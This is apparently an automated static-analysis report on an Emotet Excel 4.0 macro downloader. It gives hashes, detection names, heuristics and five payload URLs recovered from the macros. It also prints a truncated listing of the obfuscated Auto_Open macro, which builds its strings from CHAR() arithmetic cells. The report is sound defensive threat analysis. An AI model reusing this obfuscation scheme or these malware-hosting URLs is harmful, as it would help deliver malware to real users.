Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 60c78ba9148cb26d…

MALICIOUS

Office (OLE) / .XLSX

109.0 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel
MD5: a66ffd75082dcd1e82d650f54f3baec7 SHA-1: db62fb3aed404a3141368a440d04ad74b11fb3fd SHA-256: 60c78ba9148cb26d5accc178cc7f108dac3322d79770d16852ba799603bc412f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a strong indicator of malicious intent. These macros are designed to reconstruct and access multiple URLs, likely to download and execute a secondary payload. The ClamAV detection name 'Doc.Downloader.EmotetExcel02220' further supports the Emotet family attribution and its downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetExcel02220-9938626-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02220-9938626-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (5 URLs) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime) or across individual numeric cells (one ASCII charcode per cell). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries plus LABELSST/RK/NUMBER cells.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://arzulens.com/wp-includes/7gySgTg/ Referenced by macro
    • https://simplinteriors.com/wp-admin/B1e/Referenced by macro
    • https://www.swaong.com/wp-admin/k9Db4Vjafnk/Referenced by macro
    • http://68bets.site/b/bL2bq71qNY/Referenced by macro
    • https://farocf.com/wp-admin/rX9FcCxf0Cf4bj/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
50aac6306d81f77d2140d85b020a980d4c24646f532e5d63efea2f839d07ed30		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6315 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Shee
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Gfefq
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  EbrbwQ
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  Ve
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  Ve
' 0085     15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  EbrbwQ
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  EFEWFWX
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.ARABIC hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     26 LABEL : Cell Value, String Constant - KKLD len=7 ptgRef3d  Shee!C15 
' 0018     27 LABEL : Cell Value, String Constant - KKLD1 len=7 ptgRef3d  Shee!C17 
' 0018     27 LABEL : Cell Value, String Constant - KKLD2 len=7 ptgRef3d  Shee!C19 
' 0018     27 LABEL : Cell Value, String Constant - KKLD3 len=7 ptgRef3d  Shee!C21 
' 0018     27 LABEL : Cell Value, String Constant - KKLD4 len=7 ptgRef3d  Shee!C23 
' 0018     27 LABEL : Cell Value, String Constant - KKLD8 len=7 ptgRef3d  Shee!C9 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Shee!C1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Gfefq,E2,CHAR(113-2),""
'  Gfefq,G2,CHAR(111-6),""
'  Gfefq,L2,CHAR(71-6),""
'  Gfefq,C3,CHAR(111+3),""
'  Gfefq,I3,CHAR(87-4),""
'  Gfefq,P3,CHAR(90+2),""
'  Gfefq,F4,CHAR(100-18),""
'  Gfefq,H4,CHAR(110-9),""
'  Gfefq,N4,CHAR(89-1),""
'  Gfefq,B5,CHAR(115+2),""
'  Gfefq,P5,CHAR(44+2),""
'  Gfefq,E6,CHAR(90-6),""
'  Gfefq,J6,CHAR(77-3),""
'  Gfefq,D7,CHAR(107+3),""
'  Gfefq,F7,"",3.00000000000000000000
'  Gfefq,M7,CHAR(117-2),""
'  Gfefq,P7,CHAR(41+3),""
'  Gfefq,C9,CHAR(110-2),""
'  Gfefq,H9,CHAR(70-3),""
'  Gfefq,K9,CHAR(55-7),""
'  Gfefq,P9,CHAR(55+5),""
'  Gfefq,F10,CHAR(123-4),""
'  Gfefq,E11,CHAR(80+5),""
'  Gfefq,J11,CHAR(80-7),""
'  Gfefq,L11,CHAR(100-1),""
'  Gfefq,P11,CHAR(35+5),""
'  Gfefq,A12,CHAR(107+2),""
'  Gfefq,D13,CHAR(72-4),""
'  Gfefq,H13,CHAR(68+1),""
'  Gfefq,N13,"",2.00000000000000000000
'  Gfefq,P13,CHAR(36+5),""
'  Gfefq,G14,CHAR(124-4),""
'  Gfefq,K14,CHAR(70-4),""
'  Gfefq,B15,CHAR(80-4),""
'  Gfefq,F15,CHAR(105-5),""
'  Gfefq,P15,CHAR(31+3),""
'  Gfefq,D17,CHAR(102-5),""
'  Gfefq,I17,CHAR(78+1),""
'  Gfefq,P17,CHAR(40-2),""
'  Gfefq,B18,CHAR(65+5),""
'  Gfefq,P19,CHAR(32),""
'  Gfefq,P20,CHAR(52+6),""
'  Gfefq,P22,CHAR(66-5),""
'  Gfefq,K23,CHAR(80-2),""
'  Gfefq,G24,CHAR(84-2),""
'  Gfefq,I26,CHAR(84),""
'  Gfefq,E38,_xlfn.ARABIC("LXI"),""
'  EbrbwQ,S2,T( Gfefq!C3& Gfefq!B5& Gfefq!D7& Gfefq!F15& Gfefq!C9& Gfefq!C9& Gfefq!F7& Gfefq!N13& Gfefq!P5& Gfefq!H4& Gfefq!G14& Gfefq!H4),""
'  EbrbwQ,F3,T( Gfefq!L2& Gfefq!P15& Gfefq!P7& Gfefq!P15& Gfefq!J6& Gfefq!J6& Gfefq!H9),""
'  EbrbwQ,T5,T( Gfefq!P5& Gfefq!P5& Gfefq!P3& Gfefq!G2& Gfefq!G2& Gfefq!G14& Gfefq!P5& Gfefq!E2& Gfefq!L11& Gfefq!G14& Gfefq!P15),""
'  EbrbwQ,B6,T( Gfefq!P11& Gfefq!P15& Gfefq!B5& Gfefq!C3& Gfefq!C9& Gfefq!A12&
... (truncated)

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